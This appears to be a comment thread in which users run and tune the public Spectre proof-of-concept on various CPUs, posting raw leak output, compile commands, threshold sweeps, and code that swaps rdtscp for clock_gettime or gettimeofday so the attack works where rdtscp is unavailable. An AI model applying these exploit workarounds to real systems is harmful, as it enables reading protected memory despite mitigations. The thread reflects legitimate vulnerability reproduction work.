Reading at malicious_x = 0xffffffffffdffb2d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb2e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb2f... Success: 0x2E=’.’ score=7 (second best: 0x05 score=1)

bparinas commented Jan 8, 2018

no fix yet?

ubuntu@jenkinsci:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Unclear: 0x54=’T’ score=993 (second best: 0x01 score=718)
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebba... Unclear: 0x65=’e’ score=978 (second best: 0x01 score=696)
Reading at malicious_x = 0xffffffffffdfebbb... Unclear: 0x20=’ ’ score=982 (second best: 0x01 score=682)
Reading at malicious_x = 0xffffffffffdfebbc... Unclear: 0x4D=’M’ score=983 (second best: 0x01 score=703)
Reading at malicious_x = 0xffffffffffdfebbd... Unclear: 0x61=’a’ score=997 (second best: 0x01 score=757)
Reading at malicious_x = 0xffffffffffdfebbe... Unclear: 0x67=’g’ score=994 (second best: 0x01 score=599)
Reading at malicious_x = 0xffffffffffdfebbf... Unclear: 0x69=’i’ score=992 (second best: 0x01 score=654)
Reading at malicious_x = 0xffffffffffdfebc0... Unclear: 0x63=’c’ score=971 (second best: 0x01 score=602)
Reading at malicious_x = 0xffffffffffdfebc1... Unclear: 0x20=’ ’ score=983 (second best: 0x01 score=638)
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfebc3... Unclear: 0x6F=’o’ score=980 (second best: 0x01 score=635)
Reading at malicious_x = 0xffffffffffdfebc4... Unclear: 0x72=’r’ score=991 (second best: 0x01 score=679)
Reading at malicious_x = 0xffffffffffdfebc5... Unclear: 0x64=’d’ score=983 (second best: 0x01 score=756)
Reading at malicious_x = 0xffffffffffdfebc6... Unclear: 0x73=’s’ score=999 (second best: 0x01 score=727)
Reading at malicious_x = 0xffffffffffdfebc7... Unclear: 0x20=’ ’ score=993 (second best: 0x01 score=757)
Reading at malicious_x = 0xffffffffffdfebc8... Unclear: 0x61=’a’ score=990 (second best: 0x01 score=742)
Reading at malicious_x = 0xffffffffffdfebc9... Unclear: 0x72=’r’ score=995 (second best: 0x01 score=730)
Reading at malicious_x = 0xffffffffffdfebca... Unclear: 0x65=’e’ score=974 (second best: 0x01 score=741)
Reading at malicious_x = 0xffffffffffdfebcb... Unclear: 0x20=’ ’ score=991 (second best: 0x01 score=745)
Reading at malicious_x = 0xffffffffffdfebcc... Unclear: 0x53=’S’ score=993 (second best: 0x01 score=756)
Reading at malicious_x = 0xffffffffffdfebcd... Unclear: 0x71=’q’ score=989 (second best: 0x01 score=729)
Reading at malicious_x = 0xffffffffffdfebce... Unclear: 0x75=’u’ score=990 (second best: 0x01 score=741)
Reading at malicious_x = 0xffffffffffdfebcf... Unclear: 0x65=’e’ score=982 (second best: 0x01 score=741)
Reading at malicious_x = 0xffffffffffdfebd0... Unclear: 0x61=’a’ score=986 (second best: 0x01 score=730)
Reading at malicious_x = 0xffffffffffdfebd1... Unclear: 0x6D=’m’ score=985 (second best: 0x01 score=619)
Reading at malicious_x = 0xffffffffffdfebd2... Unclear: 0x69=’i’ score=983 (second best: 0x01 score=650)
Reading at malicious_x = 0xffffffffffdfebd3... Unclear: 0x73=’s’ score=990 (second best: 0x01 score=742)
Reading at malicious_x = 0xffffffffffdfebd4... Unclear: 0x68=’h’ score=995 (second best: 0x01 score=747)
Reading at malicious_x = 0xffffffffffdfebd5... Unclear: 0x20=’ ’ score=987 (second best: 0x01 score=732)
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=976 (second best: 0x01 score=750)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=997 (second best: 0x01 score=758)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=994 (second best: 0x01 score=752)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0x69=’i’ score=989 (second best: 0x01 score=781)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=978 (second best: 0x01 score=745)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=995 (second best: 0x01 score=646)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=979 (second best: 0x01 score=601)
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=949 (second best: 0x01 score=660)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=950 (second best: 0x01 score=610)

ubuntu@jenkinsci:~$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
CPU(s): 4
On-line CPU(s) list: 0-3
Thread(s) per core: 1
Core(s) per socket: 4
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 78
Model name: Intel(R) Core(TM) i5-6300U CPU @ 2.40GHz
Stepping: 3
CPU MHz: 2495.996
BogoMIPS: 4991.99
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 3072K
NUMA node0 CPU(s): 0-3
Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx rdtscp lm constant_tsc rep_good nopl xtopology nonstop_tsc pni pclmulqdq ss
se3 cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx rdrand hypervisor lahf_lm abm 3dnowprefetch rdseed clflushopt

Intel Core i3-6006U
Windows 10 Pro 1709 x64 - OS Build 16299.192
Compiled with Visual Studio 2017 19.11.25508.2 for x64
CACHE_HIT_THRESHOLD (80)

Result 1 (/Od)

Compile options: cl /Od /Fespectre.exe spectre.c

PS C:\dev\spectre> .\spectre
Reading 40 bytes:
Reading at malicious_x = 00000000000000A0... Success: 0x54="T" score=2
Reading at malicious_x = 00000000000000A1... Success: 0x68="h" score=2
Reading at malicious_x = 00000000000000A2... Success: 0x65="e" score=2
Reading at malicious_x = 00000000000000A3... Success: 0x20=" " score=2
Reading at malicious_x = 00000000000000A4... Success: 0x4D="M" score=2
Reading at malicious_x = 00000000000000A5... Success: 0x61="a" score=2
Reading at malicious_x = 00000000000000A6... Success: 0x67="g" score=2
Reading at malicious_x = 00000000000000A7... Success: 0x69="i" score=2
Reading at malicious_x = 00000000000000A8... Success: 0x63="c" score=2
Reading at malicious_x = 00000000000000A9... Success: 0x20=" " score=2
Reading at malicious_x = 00000000000000AA... Success: 0x57="W" score=2
Reading at malicious_x = 00000000000000AB... Success: 0x6F="o" score=2
Reading at malicious_x = 00000000000000AC... Success: 0x72="r" score=2
Reading at malicious_x = 00000000000000AD... Success: 0x64="d" score=2
Reading at malicious_x = 00000000000000AE... Success: 0x73="s" score=2
Reading at malicious_x = 00000000000000AF... Success: 0x20=" " score=2
Reading at malicious_x = 00000000000000B0... Success: 0x61="a" score=2
Reading at malicious_x = 00000000000000B1... Success: 0x72="r" score=2
Reading at malicious_x = 00000000000000B2... Success: 0x65="e" score=2
Reading at malicious_x = 00000000000000B3... Success: 0x20=" " score=2
Reading at malicious_x = 00000000000000B4... Success: 0x53="S" score=2
Reading at malicious_x = 00000000000000B5... Success: 0x71="q" score=2
Reading at malicious_x = 00000000000000B6... Success: 0x75="u" score=2
Reading at malicious_x = 00000000000000B7... Success: 0x65="e" score=2
Reading at malicious_x = 00000000000000B8... Success: 0x61="a" score=2
Reading at malicious_x = 00000000000000B9... Success: 0x6D="m" score=2
Reading at malicious_x = 00000000000000BA... Success: 0x69="i" score=2
Reading at malicious_x = 00000000000000BB... Success: 0x73="s" score=2
Reading at malicious_x = 00000000000000BC... Success: 0x68="h" score=2
Reading at malicious_x = 00000000000000BD... Success: 0x20=" " score=2
Reading at malicious_x = 00000000000000BE... Success: 0x4F="O" score=2
Reading at malicious_x = 00000000000000BF... Success: 0x73="s" score=2
Reading at malicious_x = 00000000000000C0... Success: 0x73="s" score=2
Reading at malicious_x = 00000000000000C1... Success: 0x69="i" score=2
Reading at malicious_x = 00000000000000C2... Success: 0x66="f" score=2
Reading at malicious_x = 00000000000000C3... Success: 0x72="r" score=2
Reading at malicious_x = 00000000000000C4... Success: 0x61="a" score=2
Reading at malicious_x = 00000000000000C5... Success: 0x67="g" score=2
Reading at malicious_x = 00000000000000C6... Success: 0x65="e" score=2
Reading at malicious_x = 00000000000000C7... Success: 0x2E="." score=2
Result 2 (/O2)

Compile options: cl /O2 /Fespectre.exe spectre.c

PS C:\dev\spectre> .\spectre
Reading 40 bytes:
Reading at malicious_x = FFFFFFFFFFFF62C0... Success: 0x54="T" score=2
Reading at malicious_x = FFFFFFFFFFFF62C1... Success: 0x68="h" score=2
Reading at malicious_x = FFFFFFFFFFFF62C2... Success: 0x65="e" score=2
Reading at malicious_x = FFFFFFFFFFFF62C3... Success: 0x20=" " score=2
Reading at malicious_x = FFFFFFFFFFFF62C4... Success: 0x4D="M" score=2
Reading at malicious_x = FFFFFFFFFFFF62C5... Success: 0x61="a" score=2
Reading at malicious_x = FFFFFFFFFFFF62C6... Success: 0x67="g" score=2
Reading at malicious_x = FFFFFFFFFFFF62C7... Success: 0x69="i" score=2
Reading at malicious_x = FFFFFFFFFFFF62C8... Success: 0x63="c" score=2
Reading at malicious_x = FFFFFFFFFFFF62C9... Success: 0x20=" " score=2
Reading at malicious_x = FFFFFFFFFFFF62CA... Success: 0x57="W" score=2
Reading at malicious_x = FFFFFFFFFFFF62CB... Success: 0x6F="o" score=2
Reading at malicious_x = FFFFFFFFFFFF62CC... Success: 0x72="r" score=2
Reading at malicious_x = FFFFFFFFFFFF62CD... Success: 0x64="d" score=2
Reading at malicious_x = FFFFFFFFFFFF62CE... Success: 0x73="s" score=2
Reading at malicious_x = FFFFFFFFFFFF62CF... Success: 0x20=" " score=2
Reading at malicious_x = FFFFFFFFFFFF62D0... Success: 0x61="a" score=2
Reading at malicious_x = FFFFFFFFFFFF62D1... Success: 0x72="r" score=2
Reading at malicious_x = FFFFFFFFFFFF62D2... Success: 0x65="e" score=2
Reading at malicious_x = FFFFFFFFFFFF62D3... Success: 0x20=" " score=2
Reading at malicious_x = FFFFFFFFFFFF62D4... Success: 0x53="S" score=2
Reading at malicious_x = FFFFFFFFFFFF62D5... Success: 0x71="q" score=2
Reading at malicious_x = FFFFFFFFFFFF62D6... Success: 0x75="u" score=2
Reading at malicious_x = FFFFFFFFFFFF62D7... Success: 0x65="e" score=2
Reading at malicious_x = FFFFFFFFFFFF62D8... Success: 0x61="a" score=2
Reading at malicious_x = FFFFFFFFFFFF62D9... Success: 0x6D="m" score=2
Reading at malicious_x = FFFFFFFFFFFF62DA... Success: 0x69="i" score=2
Reading at malicious_x = FFFFFFFFFFFF62DB... Success: 0x73="s" score=2
Reading at malicious_x = FFFFFFFFFFFF62DC... Success: 0x68="h" score=2
Reading at malicious_x = FFFFFFFFFFFF62DD... Success: 0x20=" " score=2
Reading at malicious_x = FFFFFFFFFFFF62DE... Success: 0x4F="O" score=2
Reading at malicious_x = FFFFFFFFFFFF62DF... Success: 0x73="s" score=2
Reading at malicious_x = FFFFFFFFFFFF62E0... Success: 0x73="s" score=2
Reading at malicious_x = FFFFFFFFFFFF62E1... Success: 0x69="i" score=2
Reading at malicious_x = FFFFFFFFFFFF62E2... Success: 0x66="f" score=2
Reading at malicious_x = FFFFFFFFFFFF62E3... Success: 0x72="r" score=2
Reading at malicious_x = FFFFFFFFFFFF62E4... Success: 0x61="a" score=2
Reading at malicious_x = FFFFFFFFFFFF62E5... Success: 0x67="g" score=2
Reading at malicious_x = FFFFFFFFFFFF62E6... Success: 0x65="e" score=2
Reading at malicious_x = FFFFFFFFFFFF62E7... Success: 0x2E="." score=2

@kuleszdl ,

Actually it was compiled on the guest where it doesn't work and then copied to the host (hypervisor) where it does work. So its definitely not an -mnative thing. I just did gcc -std=c99 -o spectre spectre.c so nothing special.

Is it possible that I've disabled a guest instruction needed to do the exploit? That would be neat.

Here's GDB:

]# gdb spectre
Reading symbols from /usr/src/upstream/spectre/spectre...done.
(gdb) run
Starting program: /usr/src/upstream/spectre/spectre 
Reading 40 bytes:

Program received signal SIGILL, Illegal instruction.
readMemoryByte (malicious_x=18446744073707453216, value=0x7fffffffe240 "", score=0x7fffffffe250) at spectre.c:89
89	      time1 = __rdtscp( & junk); /* READ TIMER */

So apparently rdtscp doesn't work. Is there another way to get high resolution time enough to exploit this bug without rdtscp?

@kuleszdl and everyone else:

Well I was able to do this with clock_gettime and nanosecond resolution just fine in that KVM with a missing rdtscp:

Just put this at the top of the code somewhere:

#include <time.h>
static inline uint64_t mytime(int *foo)
{
    struct timespec ts;
    clock_gettime(CLOCK_REALTIME, &ts);
    register uint64_t t = (ts.tv_sec * 1000000000 + ts.tv_nsec);
    return t;
}
#define __rdtscp(t) mytime(t)

and then compile like so:
gcc -std=c99 -lc -D_POSIX_C_SOURCE=199309L -o spectre spectre.c

It produced the following:

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb70... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfeb71... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfeb72... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeb73... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfeb74... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfeb75... Success: 0x61=’a’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfeb76... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfeb77... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfeb78... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfeb79... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfeb7c... Success: 0x72=’r’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeb80... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfeb81... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfeb82... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeb83... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeb84... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfeb85... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfeb86... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfeb87... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeb88... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfeb89... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfeb90... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfeb91... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfeb92... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfeb93... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfeb94... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfeb95... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfeb96... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfeb97... Success: 0x2E=’.’ score=2 

Surprisingly, it works with usec resolution with gettimeofday:

    struct timeval tv;
    gettimeofday(&tv, NULL);
    t = (tv.tv_sec * 1000000000 + tv.tv_usec*1000);

You can even reduce the precision to 10us (instead of 1us) like so, but then you need to increase tries to about 3000:

   struct timeval tv;
   gettimeofday(&tv, NULL);
   t = (tv.tv_sec * 1000000000 + tv.tv_usec*1000);

   t /= 10000;
   t *= 10000;

Further reducing precision to 100us requires about 20000 or 30000 tries per byte to get good output:

    t /= 100000;
    t *= 100000;

quadpixels commented Jan 9, 2018

Did a sweep over the Cache Hit Threshold, both when optimization flag is turned on and off, on 2 processors, the AMD A4-5000 and Intel i5-4570 (the __rdtscp is replaced with a _mm_mfence() and a __rdtsc() b/c it makes results on the A4-5000 look more obvious).

It seems that a threshold of 100~400 cycles works well for the A4-5000 with optimization turned off; a threshold of 60~260 cycles works well for i5-4570, when only the spectre is running, as having other programs exercising the cache may affect results as well.

spectresweep

ECJ70 commented Jan 9, 2018

Hi,
no success on a Core2Quad, running Windows7 x86. Tried different cache tresholds

Output is:
Reading 40 bytes:
Reading at malicious_x = FFFFF0E8... Unclear: 0x0E=ÔÇÖpÔÇÖ score=59 (second best: 0x08 score=57)
Reading at malicious_x = FFFFF0E9... Unclear: 0x0E=ÔÇÖpÔÇÖ score=58 (second best: 0x0D score=58)
Reading at malicious_x = FFFFF0EA... Unclear: 0x00=ÔÇÖpÔÇÖ score=61 (second best: 0x0E score=58)
Reading at malicious_x = FFFFF0EB... Unclear: 0x0D=ÔÇÖpÔÇÖ score=61 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF0EC... Unclear: 0x08=ÔÇÖpÔÇÖ score=60 (second best: 0x00 score=58)
Reading at malicious_x = FFFFF0ED... Unclear: 0x0D=ÔÇÖpÔÇÖ score=59 (second best: 0x08 score=59)
Reading at malicious_x = FFFFF0EE... Unclear: 0x0D=ÔÇÖpÔÇÖ score=60 (second best: 0x08 score=60)
Reading at malicious_x = FFFFF0EF... Unclear: 0x06=ÔÇÖpÔÇÖ score=60 (second best: 0x07 score=57)
Reading at malicious_x = FFFFF0F0... Unclear: 0x08=ÔÇÖpÔÇÖ score=57 (second best: 0x06 score=57)
Reading at malicious_x = FFFFF0F1... Unclear: 0x06=ÔÇÖpÔÇÖ score=59 (second best: 0x0D score=58)
Reading at malicious_x = FFFFF0F2... Unclear: 0x07=ÔÇÖpÔÇÖ score=59 (second best: 0x06 score=59)
Reading at malicious_x = FFFFF0F3... Success: 0x6F=ÔÇÖoÔÇÖ score=2
Reading at malicious_x = FFFFF0F4... Unclear: 0x05=ÔÇÖpÔÇÖ score=58 (second best: 0x04 score=58)
Reading at malicious_x = FFFFF0F5... Unclear: 0x04=ÔÇÖpÔÇÖ score=62 (second best: 0x00 score=56)
Reading at malicious_x = FFFFF0F6... Unclear: 0x0E=ÔÇÖpÔÇÖ score=59 (second best: 0x08 score=58)
Reading at malicious_x = FFFFF0F7... Unclear: 0x0C=ÔÇÖpÔÇÖ score=60 (second best: 0x0D score=58)
Reading at malicious_x = FFFFF0F8... Unclear: 0x0E=ÔÇÖpÔÇÖ score=59 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF0F9... Unclear: 0x0E=ÔÇÖpÔÇÖ score=58 (second best: 0x0D score=57)
Reading at malicious_x = FFFFF0FA... Unclear: 0x07=ÔÇÖpÔÇÖ score=59 (second best: 0x06 score=58)
Reading at malicious_x = FFFFF0FB... Unclear: 0x05=ÔÇÖpÔÇÖ score=60 (second best: 0x00 score=58)
Reading at malicious_x = FFFFF0FC... Unclear: 0x08=ÔÇÖpÔÇÖ score=58 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF0FD... Unclear: 0x04=ÔÇÖpÔÇÖ score=61 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF0FE... Unclear: 0x0C=ÔÇÖpÔÇÖ score=57 (second best: 0x04 score=57)
Reading at malicious_x = FFFFF0FF... Unclear: 0x06=ÔÇÖpÔÇÖ score=59 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF100... Unclear: 0x06=ÔÇÖpÔÇÖ score=61 (second best: 0x0E score=58)
Reading at malicious_x = FFFFF101... Unclear: 0x06=ÔÇÖpÔÇÖ score=59 (second best: 0x04 score=59)
Reading at malicious_x = FFFFF102... Unclear: 0x0D=ÔÇÖpÔÇÖ score=61 (second best: 0x0C score=59)
Reading at malicious_x = FFFFF103... Unclear: 0x06=ÔÇÖpÔÇÖ score=58 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF104... Unclear: 0x05=ÔÇÖpÔÇÖ score=59 (second best: 0x07 score=57)
Reading at malicious_x = FFFFF105... Unclear: 0x0D=ÔÇÖpÔÇÖ score=59 (second best: 0x0C score=58)
Reading at malicious_x = FFFFF106... Unclear: 0x0C=ÔÇÖpÔÇÖ score=58 (second best: 0x05 score=57)
Reading at malicious_x = FFFFF107... Unclear: 0x00=ÔÇÖpÔÇÖ score=58 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF108... Unclear: 0x00=ÔÇÖpÔÇÖ score=61 (second best: 0x04 score=59)
Reading at malicious_x = FFFFF109... Unclear: 0x0D=ÔÇÖpÔÇÖ score=61 (second best: 0x0E score=60)
Reading at malicious_x = FFFFF10A... Unclear: 0x00=ÔÇÖpÔÇÖ score=58 (second best: 0x0D score=58)
Reading at malicious_x = FFFFF10B... Unclear: 0x04=ÔÇÖpÔÇÖ score=58 (second best: 0x0E score=57)
Reading at malicious_x = FFFFF10C... Unclear: 0x00=ÔÇÖpÔÇÖ score=59 (second best: 0x0E score=55)
Reading at malicious_x = FFFFF10D... Unclear: 0x0C=ÔÇÖpÔÇÖ score=61 (second best: 0x0D score=57)
Reading at malicious_x = FFFFF10E... Unclear: 0x06=ÔÇÖpÔÇÖ score=58 (second best: 0x0D score=57)
Reading at malicious_x = FFFFF10F... Unclear: 0x05=ÔÇÖpÔÇÖ score=60 (second best: 0x06 score=58)

Not sure if the program works as expected, there are some warnings when compiling with MS visual studio 2017. Maybe that´s the problem.
Can you help me as i´m not a programmer.

spec_vs17x86

aikoncwd commented Jan 9, 2018

@ECJ70 Line 135, swap "%c" to '%c', also in "?" into '?'

I tried it on a Cortex-A9 (ZYNQ 7000) in an RTOS task, but no success so far. ARM Ltd. states the CA9 is vulnerable to Spectre, so maybe I need to tweak some of the constants (which I do not yet quiet understand).

ECJ70 commented Jan 9, 2018

@aikoncwd
Thanks.
That did it! => "?" into '?'

I´m getting closer, just have to play a little bit around with the treshold value.

Reading at malicious_x = FFFFF0E8... Unclear: 0x0E='?' score=59 (second best: 0x04 score=59)
Reading at malicious_x = FFFFF0E9... Success: 0x68='h' score=2
Reading at malicious_x = FFFFF0EA... Success: 0x65='e' score=2
Reading at malicious_x = FFFFF0EB... Success: 0x20=' ' score=2

Reading at malicious_x = FFFFF0EC... Unclear: 0x0C='?' score=59 (second best: 0x05 score=57)
Reading at malicious_x = FFFFF0ED... Unclear: 0x06='?' score=61 (second best: 0x0C score=59)
Reading at malicious_x = FFFFF0EE... Success: 0x67='g' score=2
Reading at malicious_x = FFFFF0EF... Success: 0x69='i' score=2
Reading at malicious_x = FFFFF0F0... Unclear: 0x00='?' score=61 (second best: 0x0D score=59)
Reading at malicious_x = FFFFF0F1... Unclear: 0x07='?' score=58 (second best: 0x04 score=58)
Reading at malicious_x = FFFFF0F2... Unclear: 0x0C='?' score=58 (second best: 0x07 score=58)
Reading at malicious_x = FFFFF0F3... Unclear: 0x0C='?' score=58 (second best: 0x06 score=58)
Reading at malicious_x = FFFFF0F4... Unclear: 0x05='?' score=58 (second best: 0x06 score=57)
Reading at malicious_x = FFFFF0F5... Unclear: 0x04='?' score=59 (second best: 0x0E score=57)
Reading at malicious_x = FFFFF0F6... Unclear: 0x0C='?' score=59 (second best: 0x08 score=59)
Reading at malicious_x = FFFFF0F7... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFF0F8... Unclear: 0x0E='?' score=59 (second best: 0x0D score=58)
Reading at malicious_x = FFFFF0F9... Unclear: 0x07='?' score=58 (second best: 0x0E score=57)
Reading at malicious_x = FFFFF0FA... Unclear: 0x05='?' score=60 (second best: 0x06 score=59)
Reading at malicious_x = FFFFF0FB... Unclear: 0x05='?' score=61 (second best: 0x04 score=59)
Reading at malicious_x = FFFFF0FC... Success: 0x53='S' score=2
Reading at malicious_x = FFFFF0FD... Success: 0x71='q' score=2

Reading at malicious_x = FFFFF0FE... Unclear: 0x04='?' score=59 (second best: 0x0C score=58)
Reading at malicious_x = FFFFF0FF... Unclear: 0x05='?' score=60 (second best: 0x00 score=61)
Reading at malicious_x = FFFFF100... Unclear: 0x05='?' score=58 (second best: 0x0C score=57)
Reading at malicious_x = FFFFF101... Unclear: 0x04='?' score=60 (second best: 0x08 score=57)
Reading at malicious_x = FFFFF102... Unclear: 0x0E='?' score=58 (second best: 0x08 score=58)
Reading at malicious_x = FFFFF103... Unclear: 0x06='?' score=59 (second best: 0x05 score=58)
Reading at malicious_x = FFFFF104... Unclear: 0x08='?' score=60 (second best: 0x04 score=58)
Reading at malicious_x = FFFFF105... Unclear: 0x05='?' score=58 (second best: 0x00 score=59)
Reading at malicious_x = FFFFF106... Unclear: 0x04='?' score=60 (second best: 0x0E score=57)
Reading at malicious_x = FFFFF107... Unclear: 0x0E='?' score=60 (second best: 0x0D score=59)
Reading at malicious_x = FFFFF108... Unclear: 0x04='?' score=60 (second best: 0x0E score=58)
Reading at malicious_x = FFFFF109... Unclear: 0x06='?' score=60 (second best: 0x05 score=57)
Reading at malicious_x = FFFFF10A... Unclear: 0x06='?' score=58 (second best: 0x05 score=57)
Reading at malicious_x = FFFFF10B... Unclear: 0x0E='?' score=60 (second best: 0x04 score=58)
Reading at malicious_x = FFFFF10C... Success: 0x61='a' score=2
Reading at malicious_x = FFFFF10D... Unclear: 0x00='?' score=69 (second best: 0x04 score=60)
Reading at malicious_x = FFFFF10E... Unclear: 0x07='?' score=59 (second best: 0x06 score=59)
Reading at malicious_x = FFFFF10F... Unclear: 0x0C='?' score=60 (second best: 0x05 score=59)

ECJ70 commented Jan 9, 2018

Results maybe dependent on CPU-load.
Playing around with the treshold did not change much in the output, only single letters were readable.
But with linpack running in the background (treshold 100):

Reading 40 bytes:
Reading at malicious_x = FFFFF0E8... Unclear: 0x54='T' score=75 (second best: 0x08 score=55)
Reading at malicious_x = FFFFF0E9... Success: 0x68='h' score=2
Reading at malicious_x = FFFFF0EA... Success: 0x65='e' score=29 (second best: 0x0C score=12)
Reading at malicious_x = FFFFF0EB... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFF0EC... Success: 0x4D='M' score=2
Reading at malicious_x = FFFFF0ED... Success: 0x61='a' score=2
Reading at malicious_x = FFFFF0EE... Success: 0x67='g' score=9 (second best: 0x0D score=2)
Reading at malicious_x = FFFFF0EF... Unclear: 0x0D='?' score=59 (second best: 0x69 score=58)
Reading at malicious_x = FFFFF0F0... Unclear: 0x63='c' score=99 (second best: 0x00 score=57)
Reading at malicious_x = FFFFF0F1... Unclear: 0x20=' ' score=67 (second best: 0x0E score=56)
Reading at malicious_x = FFFFF0F2... Unclear: 0x57='W' score=98 (second best: 0x00 score=57)
Reading at malicious_x = FFFFF0F3... Success: 0x6F='o' score=31 (second best: 0x0C score=13)
Reading at malicious_x = FFFFF0F4... Unclear: 0x72='r' score=96 (second best: 0x07 score=57)
Reading at malicious_x = FFFFF0F5... Success: 0x64='d' score=15 (second best: 0x0E score=5)
Reading at malicious_x = FFFFF0F6... Unclear: 0x73='s' score=94 (second best: 0x04 score=57)
Reading at malicious_x = FFFFF0F7... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFF0F8... Unclear: 0x61='a' score=98 (second best: 0x06 score=53)
Reading at malicious_x = FFFFF0F9... Success: 0x72='r' score=99 (second best: 0x07 score=47)
Reading at malicious_x = FFFFF0FA... Success: 0x65='e' score=87 (second best: 0x0C score=41)
Reading at malicious_x = FFFFF0FB... Unclear: 0x20=' ' score=100 (second best: 0x04 score=51)
Reading at malicious_x = FFFFF0FC... Unclear: 0x08='?' score=57 (second best: 0x06 score=57)
Reading at malicious_x = FFFFF0FD... Success: 0x71='q' score=59 (second best: 0x0E score=27)
Reading at malicious_x = FFFFF0FE... Success: 0x75='u' score=79 (second best: 0x0E score=37)
Reading at malicious_x = FFFFF0FF... Success: 0x65='e' score=2
Reading at malicious_x = FFFFF100... Success: 0x61='a' score=95 (second best: 0x0E score=45)
Reading at malicious_x = FFFFF101... Success: 0x6D='m' score=37 (second best: 0x05 score=16)
Reading at malicious_x = FFFFF102... Success: 0x69='i' score=57 (second best: 0x0C score=26)
Reading at malicious_x = FFFFF103... Success: 0x73='s' score=2
Reading at malicious_x = FFFFF104... Success: 0x68='h' score=51 (second best: 0x0D score=23)
Reading at malicious_x = FFFFF105... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFF106... Unclear: 0x04='?' score=58 (second best: 0x0D score=57)
Reading at malicious_x = FFFFF107... Unclear: 0x73='s' score=62 (second best: 0x06 score=57)
Reading at malicious_x = FFFFF108... Unclear: 0x73='s' score=71 (second best: 0x00 score=57)
